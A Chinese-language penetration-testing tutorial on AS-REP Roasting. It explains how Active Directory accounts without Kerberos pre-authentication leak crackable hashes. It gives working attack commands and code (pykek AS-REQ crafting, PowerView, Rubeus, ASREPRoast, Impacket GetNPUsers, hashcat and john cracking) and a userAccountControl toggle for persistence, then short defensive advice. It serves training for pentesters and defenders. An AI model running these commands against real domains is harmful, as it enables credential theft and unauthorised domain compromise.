0x00 前言
这是一种针对kerberos协议的攻击技术,不需要认证就可以获取到用户的密码hash值。问题出现在身份预认证是kerberos认证的第一步,通常是由KDC认证服务器来管理,目的是为了防止暴力破解攻击。
相关的kerberos的详情可以查阅之前的一篇文章域渗透-Kerberos认证,在实战当中比较少遇到,但是你要是在OSCP或者是HTB等平台可以遇到比较多这种漏洞的AD靶机。
0x01 攻击原理
利用原理
问题就是出现在如果用户开启了不使用Kerberos预认证(Do not require Kerberos preauthentication)
,攻击者可以通过Kerberos AS-REP请求,获取到经过用户的hash加密过TGT票据,然后他就可以离线破解这个凭证了,但是该属性是默认不开启的。
在AD用户管理的选项下可以看到,如下图:
我们使用Wireshark抓包对比下是在哪里出的问题,我们先抓取不开启预验证的包:
下面是开启预验证的包:
我们可以看到是在pdata(pre-authentication data )项当中是多了pA-ENC-TIMESTAMP
。
该项是按照etype的加密类型,用用户hash加密时间戳,作为value 发送给AS服务器。然后AS服务器那边有用户hash,使用用户hash进行解密,获得时间戳,如果能解密,且时间戳在一定的范围内,则证明认证通过返回 TGT票据和enc_part(里面包含有session-key)。
如果开启了不需要预验证,那么这项验证过程就不需要了,直接就能跳过获取到用户加密的TGT票据。
我们看下返回的包:
向域控制器的88端口发送AS_REQ请求后,对收到的AS_REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密session-key,我们通过进行离线爆破就可以获得用户hash)重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat对其破解,最终获得该用户的明文口令。
注意不是ticket包中的enc-part,这个ticket用于TGS_REQ的认证。是加密的,用户不可读取里面的内容。在AS_REQ请求里面是使用krbtgt的hash进行加密的。
点击鼠标右键获取AS_REP里面enc-part部分里面的ciper值,然后在前面加上$krb5asrep$23$用户名@域名:
+ciper值的前32位字符+$+后面的字符,比如ciper值为:
4440830848a2f2a1eabdd28222bceb2c24e5cd7cd311349609eed565f8c5c86803747e9bbc18e5b990400fbe62b554e8f33e6f7e2fb2e12499161705b95cd64b13a67e1f4bab841520fcd6935cd7c0ad25e5b8ee8ed91d7f247f5f8bf989971f9af645c3199978436ec962d254a95145a9414d8d9a48cb9a44f4815d13a204325d55399c2e4a175b7eaca33e47e79ad034b187574112010f0a4825614b74d4d2e671fd9bb546ff2987f4d3718735cdd0a3b3cbb52988bc900ebcbfb46a8320efc0ba04648c29e64ca587c342cf8bacab93d9aa4bb592cdde8c1b25733b1b57e0aee4168b597e303c68555d6518116cf6f294c726
修改之后就成为:
[email protected]:4440830848a2f2a1eabdd28222bceb2c$24e5cd7cd311349609eed565f8c5c86803747e9bbc18e5b990400fbe62b554e8f33e6f7e2fb2e12499161705b95cd64b13a67e1f4bab841520fcd6935cd7c0ad25e5b8ee8ed91d7f247f5f8bf989971f9af645c3199978436ec962d254a95145a9414d8d9a48cb9a44f4815d13a204325d55399c2e4a175b7eaca33e47e79ad034b187574112010f0a4825614b74d4d2e671fd9bb546ff2987f4d3718735cdd0a3b3cbb52988bc900ebcbfb46a8320efc0ba04648c29e64ca587c342cf8bacab93d9aa4bb592cdde8c1b25733b1b57e0aee4168b597e303c68555d6518116cf6f294c726
把这串放到hashcat的18200模式破解就行了。
hashcat -m 18200 -a 0 hash.txt passwordlist.txt
尝试该工具会在日志中生成4678的TGT请求记录:
这里有没有同学思考过,如果关闭用户选项”Do not require Kerberos preauthentication”,我尝试使用正常的密码登录系统再抓包,其中的AS_REP包中的ciper值是否也能用hashcat解密呢?
虽然感觉是在脱裤子放屁,但是你可以实践抓包看下,如果细心的同学就会发现,其实只要指定加密的类型为RC4_HMAC,一样是可以用hashcat解密的。
平时我们登录的怎么指定加密类型呢,我们可以使用python写的一个项目:https://github.com/mubix/pykek
使用下面的代码模拟发包:
user_key = (RC4_HMAC, ntlm_hash("p@ssw0rd").digest())#这里填写密码
as_req=build_as_req("hack.lab", "lucky", user_key, time(), getrandbits(31), pac_request=False)
sock = send_req(as_req, "172.16.0.106")#可以填写为dc主机名,比如dc.hack.lab
data = recv_rep(sock)
as_rep = decrypt_as_rep(data, user_key)
print as_rep
破解的方法可以参考hashcat里面的,我也没弄懂,找时间看一下是怎么破解的:
https://github.com/hashcat/hashcat/blob/master/src/modules/module_18200.c
利用思路
那么在实战当中很少见会开启这个选项的,所以我们在内网渗透中一般是用来做权限维持。
-
需要枚举域内用户是否存在开启选项
- 可以使用PowerView、kerbrute等工具枚举出存在开启选项”Do not require Kerberos preauthentication”的用户
- 导出hash并破解
-
需要先获得对指定用户的GenericWrite权限,利用思路如下:
- 开启用户选项”Do not require Kerberos preauthentication”
- 导出hash并破解
- 关闭用户选项”Do not require Kerberos preauthentication”
与Kerberoasting和黄金票据的区别
· AS-REP Roasting:获取用户hash然后离线暴力破解
· Kerberoasting:获取应用服务hash然后暴力破解
· 黄金票据:通过假冒域中不存在的用户来访问应用服务
0x02 实战
下面是使用各种工具进行攻击的具体过程
PowerView
这款工具是集成在PowerSploit
里面的,属于Recon系列,这款工具是由HarmJ0y大牛开发的。
GitHub:https://github.com/PowerShellMafia/PowerSploit
原理是使用LDAP查询满足条件(userAccountControl:1.2.840.113556.1.4.803:=4194304)的用户,DONT_REQ_PREAUTH项对应的值为4194304,可以参考官方的文档Use the UserAccountControl flags to manipulate user account properties
假如我现在环境是在拿到了普通域用户testsql下执行PowerView脚本
PowerView的命令如下:
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Verbose
示例如下图:
如果要有开启用户的Do not require Kerberos preauthentication
选项需要拥有GenericWrite权限,这也就是我们上面所说的第二种利用方式。
开启选项意味着对用户添加属性(userAccountControl=4194304)
开启选项的命令如下:
Import-Module .\PowerView.ps1
Set-DomainObject -Identity testb -XOR @{userAccountControl=4194304} -Verbose
关闭选项意味着删除用户属性(userAccountControl=4194304)
这里可以再次进行异或运算,两次异或相当于不改变原数值,即删除用户属性(userAccountControl)
关闭选项的命令如下:
Import-Module .\PowerView.ps1
Set-DomainObject -Identity testb -XOR @{userAccountControl=4194304} -Verbose
kerbrute(Python)
这款工具主要是来枚举域内存在开启Do not require Kerberos preauthentication
选项的用户,在之前写的域用户枚举的一篇文章中写多,这里就不再展开,有兴趣的同学可以看下域渗透-用户名枚举
Rubeus
这款工具也是由HarmJ0y大牛开发的,是一个用于原始Kerberos互动和滥用的C#工具集,功能还很多,这里就不一一介绍,主要是利用里面的AS-REP-Roasting的功能。
现在GitHub上面不开放exe版本下载了,需要自己去生成,我们先去GitHub下面下载:
https://github.com/GhostPack/Rubeus
解压后使用vs2019打开Rubeus.sln文件,点击生成->生成Rubeus即可,之后exe文件会生成在Rubeus\bin\Debug
目录下。
假如我现在环境是在拿到了普通域用户testsql下执行PowerView脚本,直接输入命令即可:
Rubeus.exe asreproast
能枚举出域内存在该漏洞的用户的hash,默认输出的格式是John the Ripper (Jumbo version),可以使用以下命令破解:
John ./hash.txt –wordlist=./password.txt
也可以输出为hashcat的格式:
Rubeus.exe asreproast /format:hashcat /outfile:C:\Temp\hash.txt
采用hashcat破解:
hashcat -m 18200 -a 0 hash.txt passwordlist.txt
如果我们不在域用户下呢,比如说我们拿到了本地账户的机器跟DC(172.16.0.106)是相通的,我们也可以使用以下命令进行枚举:
Rubeus.exe asreproast /domain:hack.lab /user:lucky /dc:172.16.0.106 /format:hashcat /outfile:C:\Temp\hash.txt
结果如下图所示:
ASREPRoast
这款工具也是由HarmJ0y大牛开发的,不过推荐使用Rubeus ,因为上面的功能很齐全,下面是利用的过程。
在GitHub上进行下载:
https://github.com/HarmJ0y/ASREPRoast
假如我现在环境是在拿到了普通域用户testsql下执行该脚本:
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast
结果如下图所示:
如果想要导出hash值进行破解可以执行下面的命令:
Invoke-ASREPRoast | select -ExpandProperty Hash > hash.txt
Powershell Empire
如果你喜欢使用Powershell Empire这个框架,并且想通过Empire这个框架发起ASREPRoast攻击,首先你得拿下一台机器,获得agent会话,然后运行下面这个模块来查看“PreauthNotRequired ”选项有没有勾选。
使用以下的命令:
usemodule situational_awareness/network/powerview/get_user
该功能只能枚举出存在漏洞的用户,后续还是得使用Rubeus等工具进行导出hash值。
GetNPUsers.py
该工具是在Impacket中的,也默认安装在新版的kali。这个脚本是Impacket工具套件中的其中一个,它可以列举出哪些用户设置了“Do not require Kerberos pre-authentication”,并获得TGT票据。
同样的,你也可以保存hash到文件中,然后利用John the ripper进行破解(默认是hashcat的格式),指定单用户:
python3 /usr/local/bin/GetNPUsers.py hack.lab/lucky -no-pass -dc-ip 172.16.0.106 -format john -outputfile hash.txt
多用户:
python3 /usr/local/bin/GetNPUsers.py -no-pass -dc-ip 172.16.0.106 -usersfile users.txt -format john -outputfile hash.txt
172.16.0.106是域控
如下图所示:
使用john破解:
john –wordlist=/usr/share/wordlists/rockyou.txt hash.txt
0x03 防御建议
1.确保域内不存在开启”Do not require Kerberos preauthentication”的用户
扫描方法(使用PowerView):
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Verbose
2.域用户强制使用复杂口令,提高被字典和暴力破解的难度
0x04 参考
https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AS-REPRoasting
https://www.4hou.com/posts/ZpYE
https://blog.csdn.net/shuteer_xu/article/details/106066628
https://xxe.icu/posts/kerberos_authentication/
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/ad_as_reproasting.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。